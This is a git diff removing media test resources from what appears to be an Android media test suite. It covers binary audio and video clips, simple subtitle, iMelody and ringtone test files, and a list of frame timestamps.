diff --git a/tests/tests/media/res/raw/sinesweep_2ch_24khz_aot39_fl512_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_24khz_aot39_fl512_mp4.m4a
deleted file mode 100755
index cdc8928..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_24khz_aot39_fl512_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_32khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_32khz_aot2_mp4.m4a
deleted file mode 100755
index 48c7b02..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_32khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_32khz_aot39_fl480_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_32khz_aot39_fl480_mp4.m4a
deleted file mode 100755
index 76c9d47..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_32khz_aot39_fl480_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_44khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_44khz_aot2_mp4.m4a
deleted file mode 100755
index dd752b0..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_44khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_44khz_aot39_fl512_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_44khz_aot39_fl512_mp4.m4a
deleted file mode 100755
index 76fba31..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_44khz_aot39_fl512_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_48khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_48khz_aot2_mp4.m4a
deleted file mode 100755
index 2960b54..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_48khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_48khz_aot39_fl480_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_48khz_aot39_fl480_mp4.m4a
deleted file mode 100755
index baea42e..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_48khz_aot39_fl480_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_8khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_8khz_aot2_mp4.m4a
deleted file mode 100755
index 0863187..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_8khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepalac.mov b/tests/tests/media/res/raw/sinesweepalac.mov
deleted file mode 100644
index f0e76e4..0000000
--- a/tests/tests/media/res/raw/sinesweepalac.mov
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepflac.flac b/tests/tests/media/res/raw/sinesweepflac.flac
deleted file mode 100644
index c51b3c5..0000000
--- a/tests/tests/media/res/raw/sinesweepflac.flac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepflac24.flac b/tests/tests/media/res/raw/sinesweepflac24.flac
deleted file mode 100644
index ac40ea9..0000000
--- a/tests/tests/media/res/raw/sinesweepflac24.flac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepflacmkv.mkv b/tests/tests/media/res/raw/sinesweepflacmkv.mkv
deleted file mode 100644
index 2f622cd..0000000
--- a/tests/tests/media/res/raw/sinesweepflacmkv.mkv
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepflacmp4.mp4 b/tests/tests/media/res/raw/sinesweepflacmp4.mp4
deleted file mode 100644
index f397afa..0000000
--- a/tests/tests/media/res/raw/sinesweepflacmp4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepid3v23ext.mp3 b/tests/tests/media/res/raw/sinesweepid3v23ext.mp3
deleted file mode 100644
index 8249f4a..0000000
--- a/tests/tests/media/res/raw/sinesweepid3v23ext.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepid3v23extbe.mp3 b/tests/tests/media/res/raw/sinesweepid3v23extbe.mp3
deleted file mode 100644
index 8d04b44..0000000
--- a/tests/tests/media/res/raw/sinesweepid3v23extbe.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepid3v24ext.mp3 b/tests/tests/media/res/raw/sinesweepid3v24ext.mp3
deleted file mode 100644
index 40b392f..0000000
--- a/tests/tests/media/res/raw/sinesweepid3v24ext.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepm4a.m4a b/tests/tests/media/res/raw/sinesweepm4a.m4a
deleted file mode 100644
index 533a515..0000000
--- a/tests/tests/media/res/raw/sinesweepm4a.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepmp3lame.mp3 b/tests/tests/media/res/raw/sinesweepmp3lame.mp3
deleted file mode 100644
index 4d8ae70..0000000
--- a/tests/tests/media/res/raw/sinesweepmp3lame.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepmp3smpb.mp3 b/tests/tests/media/res/raw/sinesweepmp3smpb.mp3
deleted file mode 100644
index 47a1e9d..0000000
--- a/tests/tests/media/res/raw/sinesweepmp3smpb.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepogg.ogg b/tests/tests/media/res/raw/sinesweepogg.ogg
deleted file mode 100644
index e4fd4aa..0000000
--- a/tests/tests/media/res/raw/sinesweepogg.ogg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepoggalbumart.ogg b/tests/tests/media/res/raw/sinesweepoggalbumart.ogg
deleted file mode 100644
index 00ad4ad..0000000
--- a/tests/tests/media/res/raw/sinesweepoggalbumart.ogg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepoggmkv.mkv b/tests/tests/media/res/raw/sinesweepoggmkv.mkv
deleted file mode 100644
index 35bc5ca..0000000
--- a/tests/tests/media/res/raw/sinesweepoggmkv.mkv
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepoggmp4.mp4 b/tests/tests/media/res/raw/sinesweepoggmp4.mp4
deleted file mode 100644
index d53fad4..0000000
--- a/tests/tests/media/res/raw/sinesweepoggmp4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepopus.mkv b/tests/tests/media/res/raw/sinesweepopus.mkv
deleted file mode 100644
index 230dd36..0000000
--- a/tests/tests/media/res/raw/sinesweepopus.mkv
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepopusmp4.mp4 b/tests/tests/media/res/raw/sinesweepopusmp4.mp4
deleted file mode 100644
index 6894908..0000000
--- a/tests/tests/media/res/raw/sinesweepopusmp4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweeptsaac.m4a b/tests/tests/media/res/raw/sinesweeptsaac.m4a
deleted file mode 100644
index f583012..0000000
--- a/tests/tests/media/res/raw/sinesweeptsaac.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepvorbis.mkv b/tests/tests/media/res/raw/sinesweepvorbis.mkv
deleted file mode 100644
index 613ab71..0000000
--- a/tests/tests/media/res/raw/sinesweepvorbis.mkv
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepvorbismp4.mp4 b/tests/tests/media/res/raw/sinesweepvorbismp4.mp4
deleted file mode 100644
index 660ca02..0000000
--- a/tests/tests/media/res/raw/sinesweepvorbismp4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/stereonoisedcpos.m4a b/tests/tests/media/res/raw/stereonoisedcpos.m4a
deleted file mode 100644
index 77362df..0000000
--- a/tests/tests/media/res/raw/stereonoisedcpos.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_128x128_h264.mp4 b/tests/tests/media/res/raw/swirl_128x128_h264.mp4
deleted file mode 100644
index 3ff485a..0000000
--- a/tests/tests/media/res/raw/swirl_128x128_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_128x128_h264_albumart.mp4 b/tests/tests/media/res/raw/swirl_128x128_h264_albumart.mp4
deleted file mode 100644
index f493f25..0000000
--- a/tests/tests/media/res/raw/swirl_128x128_h264_albumart.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_128x128_h265.mp4 b/tests/tests/media/res/raw/swirl_128x128_h265.mp4
deleted file mode 100644
index a0b112b..0000000
--- a/tests/tests/media/res/raw/swirl_128x128_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_128x128_mpeg4.mp4 b/tests/tests/media/res/raw/swirl_128x128_mpeg4.mp4
deleted file mode 100644
index 694ce95..0000000
--- a/tests/tests/media/res/raw/swirl_128x128_mpeg4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_128x128_vp8.webm b/tests/tests/media/res/raw/swirl_128x128_vp8.webm
deleted file mode 100644
index 7b606a2..0000000
--- a/tests/tests/media/res/raw/swirl_128x128_vp8.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_128x128_vp9.webm b/tests/tests/media/res/raw/swirl_128x128_vp9.webm
deleted file mode 100644
index 7acff11..0000000
--- a/tests/tests/media/res/raw/swirl_128x128_vp9.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_128x96_h263.3gp b/tests/tests/media/res/raw/swirl_128x96_h263.3gp
deleted file mode 100644
index f0ef242..0000000
--- a/tests/tests/media/res/raw/swirl_128x96_h263.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_130x132_h264.mp4 b/tests/tests/media/res/raw/swirl_130x132_h264.mp4
deleted file mode 100644
index 60027fd..0000000
--- a/tests/tests/media/res/raw/swirl_130x132_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_130x132_h265.mp4 b/tests/tests/media/res/raw/swirl_130x132_h265.mp4
deleted file mode 100644
index 46fab26..0000000
--- a/tests/tests/media/res/raw/swirl_130x132_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_130x132_mpeg4.mp4 b/tests/tests/media/res/raw/swirl_130x132_mpeg4.mp4
deleted file mode 100644
index ed6b529..0000000
--- a/tests/tests/media/res/raw/swirl_130x132_mpeg4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_130x132_vp8.webm b/tests/tests/media/res/raw/swirl_130x132_vp8.webm
deleted file mode 100644
index a3f2d21..0000000
--- a/tests/tests/media/res/raw/swirl_130x132_vp8.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_130x132_vp9.webm b/tests/tests/media/res/raw/swirl_130x132_vp9.webm
deleted file mode 100644
index 840dc59..0000000
--- a/tests/tests/media/res/raw/swirl_130x132_vp9.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_132x130_h264.mp4 b/tests/tests/media/res/raw/swirl_132x130_h264.mp4
deleted file mode 100644
index dc17f8f..0000000
--- a/tests/tests/media/res/raw/swirl_132x130_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_132x130_h265.mp4 b/tests/tests/media/res/raw/swirl_132x130_h265.mp4
deleted file mode 100644
index f9a59f5..0000000
--- a/tests/tests/media/res/raw/swirl_132x130_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_132x130_mpeg4.mp4 b/tests/tests/media/res/raw/swirl_132x130_mpeg4.mp4
deleted file mode 100644
index ed975db..0000000
--- a/tests/tests/media/res/raw/swirl_132x130_mpeg4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_132x130_vp8.webm b/tests/tests/media/res/raw/swirl_132x130_vp8.webm
deleted file mode 100644
index 8cd8d4e..0000000
--- a/tests/tests/media/res/raw/swirl_132x130_vp8.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_132x130_vp9.webm b/tests/tests/media/res/raw/swirl_132x130_vp9.webm
deleted file mode 100644
index 4a8d79f..0000000
--- a/tests/tests/media/res/raw/swirl_132x130_vp9.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_136x144_h264.mp4 b/tests/tests/media/res/raw/swirl_136x144_h264.mp4
deleted file mode 100644
index bc5fadf..0000000
--- a/tests/tests/media/res/raw/swirl_136x144_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_136x144_h265.mp4 b/tests/tests/media/res/raw/swirl_136x144_h265.mp4
deleted file mode 100644
index 38f1fc8..0000000
--- a/tests/tests/media/res/raw/swirl_136x144_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_136x144_mpeg4.mp4 b/tests/tests/media/res/raw/swirl_136x144_mpeg4.mp4
deleted file mode 100644
index c74bd96..0000000
--- a/tests/tests/media/res/raw/swirl_136x144_mpeg4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_136x144_vp8.webm b/tests/tests/media/res/raw/swirl_136x144_vp8.webm
deleted file mode 100644
index 960d02f..0000000
--- a/tests/tests/media/res/raw/swirl_136x144_vp8.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_136x144_vp9.webm b/tests/tests/media/res/raw/swirl_136x144_vp9.webm
deleted file mode 100644
index 5898f07..0000000
--- a/tests/tests/media/res/raw/swirl_136x144_vp9.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_144x136_h264.mp4 b/tests/tests/media/res/raw/swirl_144x136_h264.mp4
deleted file mode 100644
index 962a218..0000000
--- a/tests/tests/media/res/raw/swirl_144x136_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_144x136_h265.mp4 b/tests/tests/media/res/raw/swirl_144x136_h265.mp4
deleted file mode 100644
index 8098621..0000000
--- a/tests/tests/media/res/raw/swirl_144x136_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_144x136_mpeg4.mp4 b/tests/tests/media/res/raw/swirl_144x136_mpeg4.mp4
deleted file mode 100644
index 81c1db3..0000000
--- a/tests/tests/media/res/raw/swirl_144x136_mpeg4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_144x136_vp8.webm b/tests/tests/media/res/raw/swirl_144x136_vp8.webm
deleted file mode 100644
index b050ade..0000000
--- a/tests/tests/media/res/raw/swirl_144x136_vp8.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_144x136_vp9.webm b/tests/tests/media/res/raw/swirl_144x136_vp9.webm
deleted file mode 100644
index 9c0539a..0000000
--- a/tests/tests/media/res/raw/swirl_144x136_vp9.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_176x144_h263.3gp b/tests/tests/media/res/raw/swirl_176x144_h263.3gp
deleted file mode 100644
index ee51660..0000000
--- a/tests/tests/media/res/raw/swirl_176x144_h263.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_352x288_h263.3gp b/tests/tests/media/res/raw/swirl_352x288_h263.3gp
deleted file mode 100644
index 53830a9..0000000
--- a/tests/tests/media/res/raw/swirl_352x288_h263.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/test_subtitle1_srt.3gp b/tests/tests/media/res/raw/test_subtitle1_srt.3gp
deleted file mode 100644
index 8dbc240..0000000
--- a/tests/tests/media/res/raw/test_subtitle1_srt.3gp
+++ /dev/null
@@ -1,39 +0,0 @@
-1
-00:00:0,000 --> 00:00:0,500
-2:0000
-
-2
-00:00:1,000 --> 00:00:1,500
-2:1000
-
-3
-00:00:2,000 --> 00:00:2,500
-2:2000
-
-4
-00:00:3,000 --> 00:00:3,500
-2:3000
-
-5
-00:00:4,000 --> 00:00:4,500
-2:4000
-
-6
-00:00:5,000 --> 00:00:5,500
-2:5000
-
-7
-00:00:6,000 --> 00:00:6,500
-2:6000
-
-8
-00:00:7,000 --> 00:00:7,500
-2:7000
-
-9
-00:00:8,000 --> 00:00:8,500
-2:8000
-
-10
-00:00:9,000 --> 00:00:9,500
-2:9000
diff --git a/tests/tests/media/res/raw/test_subtitle2_srt.3gp b/tests/tests/media/res/raw/test_subtitle2_srt.3gp
deleted file mode 100644
index 7ac2e72..0000000
--- a/tests/tests/media/res/raw/test_subtitle2_srt.3gp
+++ /dev/null
@@ -1,39 +0,0 @@
-1
-00:00:0,500 --> 00:00:1,000
-3:500
-
-2
-00:00:1,500 --> 00:00:2,000
-3:1500
-
-3
-00:00:2,500 --> 00:00:3,000
-3:2500
-
-4
-00:00:3,500 --> 00:00:4,000
-3:3500
-
-5
-00:00:4,500 --> 00:00:5,000
-3:4500
-
-6
-00:00:5,500 --> 00:00:6,000
-3:5500
-
-7
-00:00:6,500 --> 00:00:7,000
-3:6500
-
-8
-00:00:7,500 --> 00:00:8,000
-3:7500
-
-9
-00:00:8,500 --> 00:00:9,000
-3:8500
-
-10
-00:00:9,500 --> 00:00:10,000
-3:9500
diff --git a/tests/tests/media/res/raw/testac3mp4.mp4 b/tests/tests/media/res/raw/testac3mp4.mp4
deleted file mode 100644
index af527b1..0000000
--- a/tests/tests/media/res/raw/testac3mp4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/testac3ts.ts b/tests/tests/media/res/raw/testac3ts.ts
deleted file mode 100644
index a67b8b8..0000000
--- a/tests/tests/media/res/raw/testac3ts.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/testamr.amr b/tests/tests/media/res/raw/testamr.amr
deleted file mode 100644
index 36c259c..0000000
--- a/tests/tests/media/res/raw/testamr.amr
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/testeac3mp4.mp4 b/tests/tests/media/res/raw/testeac3mp4.mp4
deleted file mode 100644
index ac9cad2..0000000
--- a/tests/tests/media/res/raw/testeac3mp4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/testeac3ts.ts b/tests/tests/media/res/raw/testeac3ts.ts
deleted file mode 100644
index 1e7bc14..0000000
--- a/tests/tests/media/res/raw/testeac3ts.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/testimy.imy b/tests/tests/media/res/raw/testimy.imy
deleted file mode 100644
index b66f02b..0000000
--- a/tests/tests/media/res/raw/testimy.imy
+++ /dev/null
@@ -1,10 +0,0 @@
-BEGIN:IMELODY

-VERSION:1.2

-FORMAT:CLASS1.0

-NAME:Test

-COMPOSER:Android

-BEAT:120

-STYLE:S1

-VOLUME:V7

-MELODY:a1b2c3vibeoffledoffbackoffa3.vibeonledonbackon*4d3a3vibeoffbackoffbackoffg3.backon(*5c4c1..)@9*5#f2*5#f2

-END:IMELODY

diff --git a/tests/tests/media/res/raw/testmp3_4.mp3 b/tests/tests/media/res/raw/testmp3_4.mp3
deleted file mode 100755
index 2098ebd..0000000
--- a/tests/tests/media/res/raw/testmp3_4.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/testota.ota b/tests/tests/media/res/raw/testota.ota
deleted file mode 100644
index 7aa5f996..0000000
--- a/tests/tests/media/res/raw/testota.ota
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/testrtttl.rtttl b/tests/tests/media/res/raw/testrtttl.rtttl
deleted file mode 100644
index 1f7e270..0000000
--- a/tests/tests/media/res/raw/testrtttl.rtttl
+++ /dev/null
@@ -1 +0,0 @@
-Test:d=2,o=6,b=120,l=2,s=n:a,b,c,d,e,4a,4b#,4c,4d,a4,b4,c4,d4
diff --git a/tests/tests/media/res/raw/testvideo_with_2_subtitle_tracks.mp4 b/tests/tests/media/res/raw/testvideo_with_2_subtitle_tracks.mp4
deleted file mode 100755
index b8dce17..0000000
--- a/tests/tests/media/res/raw/testvideo_with_2_subtitle_tracks.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/timestamps_binary_counter_320x240_30fps_600frames.txt b/tests/tests/media/res/raw/timestamps_binary_counter_320x240_30fps_600frames.txt
deleted file mode 100644
index 388bacc..0000000
--- a/tests/tests/media/res/raw/timestamps_binary_counter_320x240_30fps_600frames.txt
+++ /dev/null
@@ -1,600 +0,0 @@
-66666
-166666
-100000
-133333
-300000
-233333
-200000
-266666
-433333
-366666
-333333
-400000
-566666
-500000
-466666
-533333
-666666
-600000
-633333
-800000
-733333
-700000
-766666
-900000
-833333
-866666
-1033333
-966666
-933333
-1000000
-1066666
-1166666
-1100000
-1133333
-1300000
-1233333
-1200000
-1266666
-1433333
-1366666
-1333333
-1400000
-1566666
-1500000
-1466666
-1533333
-1666666
-1600000
-1633333
-1800000
-1733333
-1700000
-1766666
-1900000
-1833333
-1866666
-2000000
-1933333
-1966666
-2033333
-2066666
-2166666
-2100000
-2133333
-2300000
-2233333
-2200000
-2266666
-2433333
-2366666
-2333333
-2400000
-2566666
-2500000
-2466666
-2533333
-2700000
-2633333
-2600000
-2666666
-2833333
-2766666
-2733333
-2800000
-2966666
-2900000
-2866666
-2933333
-3033333
-3000000
-3066666
-3166666
-3100000
-3133333
-3300000
-3233333
-3200000
-3266666
-3433333
-3366666
-3333333
-3400000
-3566666
-3500000
-3466666
-3533333
-3666666
-3600000
-3633333
-3800000
-3733333
-3700000
-3766666
-3900000
-3833333
-3866666
-4000000
-3933333
-3966666
-4033333
-4066666
-4166666
-4100000
-4133333
-4300000
-4233333
-4200000
-4266666
-4433333
-4366666
-4333333
-4400000
-4566666
-4500000
-4466666
-4533333
-4666666
-4600000
-4633333
-4733333
-4700000
-4833333
-4766666
-4800000
-4966666
-4900000
-4866666
-4933333
-5033333
-5000000
-5066666
-5166666
-5100000
-5133333
-5300000
-5233333
-5200000
-5266666
-5433333
-5366666
-5333333
-5400000
-5566666
-5500000
-5466666
-5533333
-5666666
-5600000
-5633333
-5800000
-5733333
-5700000
-5766666
-5900000
-5833333
-5866666
-6033333
-5966666
-5933333
-6000000
-6066666
-6166666
-6100000
-6133333
-6300000
-6233333
-6200000
-6266666
-6433333
-6366666
-6333333
-6400000
-6566666
-6500000
-6466666
-6533333
-6666666
-6600000
-6633333
-6800000
-6733333
-6700000
-6766666
-6900000
-6833333
-6866666
-7000000
-6933333
-6966666
-7033333
-7066666
-7166666
-7100000
-7133333
-7300000
-7233333
-7200000
-7266666
-7433333
-7366666
-7333333
-7400000
-7566666
-7500000
-7466666
-7533333
-7700000
-7633333
-7600000
-7666666
-7833333
-7766666
-7733333
-7800000
-7966666
-7900000
-7866666
-7933333
-8033333
-8000000
-8066666
-8166666
-8100000
-8133333
-8300000
-8233333
-8200000
-8266666
-8433333
-8366666
-8333333
-8400000
-8566666
-8500000
-8466666
-8533333
-8666666
-8600000
-8633333
-8800000
-8733333
-8700000
-8766666
-8900000
-8833333
-8866666
-9000000
-8933333
-8966666
-9033333
-9066666
-9166666
-9100000
-9133333
-9300000
-9233333
-9200000
-9266666
-9366666
-9333333
-9500000
-9433333
-9400000
-9466666
-9633333
-9566666
-9533333
-9600000
-9766666
-9700000
-9666666
-9733333
-9900000
-9833333
-9800000
-9866666
-10000000
-9933333
-9966666
-10033333
-10066666
-10166666
-10100000
-10133333
-10300000
-10233333
-10200000
-10266666
-10433333
-10366666
-10333333
-10400000
-10566666
-10500000
-10466666
-10533333
-10666666
-10600000
-10633333
-10800000
-10733333
-10700000
-10766666
-10900000
-10833333
-10866666
-11033333
-10966666
-10933333
-11000000
-11066666
-11166666
-11100000
-11133333
-11300000
-11233333
-11200000
-11266666
-11433333
-11366666
-11333333
-11400000
-11566666
-11500000
-11466666
-11533333
-11666666
-11600000
-11633333
-11800000
-11733333
-11700000
-11766666
-11900000
-11833333
-11866666
-12000000
-11933333
-11966666
-12033333
-12066666
-12166666
-12100000
-12133333
-12300000
-12233333
-12200000
-12266666
-12433333
-12366666
-12333333
-12400000
-12566666
-12500000
-12466666
-12533333
-12700000
-12633333
-12600000
-12666666
-12833333
-12766666
-12733333
-12800000
-12966666
-12900000
-12866666
-12933333
-13033333
-13000000
-13066666
-13166666
-13100000
-13133333
-13300000
-13233333
-13200000
-13266666
-13433333
-13366666
-13333333
-13400000
-13566666
-13500000
-13466666
-13533333
-13666666
-13600000
-13633333
-13800000
-13733333
-13700000
-13766666
-13900000
-13833333
-13866666
-14000000
-13933333
-13966666
-14033333
-14066666
-14166666
-14100000
-14133333
-14300000
-14233333
-14200000
-14266666
-14433333
-14366666
-14333333
-14400000
-14566666
-14500000
-14466666
-14533333
-14666666
-14600000
-14633333
-14733333
-14700000
-14833333
-14766666
-14800000
-14966666
-14900000
-14866666
-14933333
-15033333
-15000000
-15066666
-15166666
-15100000
-15133333
-15300000
-15233333
-15200000
-15266666
-15433333
-15366666
-15333333
-15400000
-15566666
-15500000
-15466666
-15533333
-15666666
-15600000
-15633333
-15800000
-15733333
-15700000
-15766666
-15900000
-15833333
-15866666
-16033333
-15966666
-15933333
-16000000
-16066666
-16166666
-16100000
-16133333
-16300000
-16233333
-16200000
-16266666
-16433333
-16366666
-16333333
-16400000
-16566666
-16500000
-16466666
-16533333
-16666666
-16600000
-16633333
-16800000
-16733333
-16700000
-16766666
-16900000
-16833333
-16866666
-17000000
-16933333
-16966666
-17033333
-17066666
-17166666
-17100000
-17133333
-17300000
-17233333
-17200000
-17266666
-17433333
-17366666
-17333333
-17400000
-17566666
-17500000
-17466666
-17533333
-17700000
-17633333
-17600000
-17666666
-17833333
-17766666
-17733333
-17800000
-17966666
-17900000
-17866666
-17933333
-18033333
-18000000
-18066666
-18166666
-18100000
-18133333
-18300000
-18233333
-18200000
-18266666
-18433333
-18366666
-18333333
-18400000
-18566666
-18500000
-18466666
-18533333
-18666666
-18600000
-18633333
-18800000
-18733333
-18700000
-18766666
-18900000
-18833333
-18866666
-19000000
-18933333
-18966666
-19033333
-19066666
-19166666
-19100000
-19133333
-19300000
-19233333
-19200000
-19266666
-19366666
-19333333
-19500000
-19433333
-19400000
-19466666
-19633333
-19566666
-19533333
-19600000
-19766666
-19700000
-19666666
-19733333
-19900000
-19833333
-19800000
-19866666
-20000000
-19933333
-19966666
-20033333
diff --git a/tests/tests/media/res/raw/utf16_1.mp3 b/tests/tests/media/res/raw/utf16_1.mp3
deleted file mode 100644
index 829d311..0000000
--- a/tests/tests/media/res/raw/utf16_1.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz.webm b/tests/tests/media/res/raw/video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz.webm
deleted file mode 100644
index 8f00ded..0000000
--- a/tests/tests/media/res/raw/video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz.3gp
deleted file mode 100644
index d2a6ddf..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_22050hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_22050hz.3gp
deleted file mode 100644
index b7c2bed..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_22050hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_11025hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_11025hz.3gp
deleted file mode 100644
index 4b10c21..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_11025hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_22050hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_22050hz.3gp
deleted file mode 100644
index 61e90a6..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_22050hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_11025hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_11025hz.3gp
deleted file mode 100644
index 9ce8a32..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_11025hz.3gp
+++ /dev/null
Binary files differ
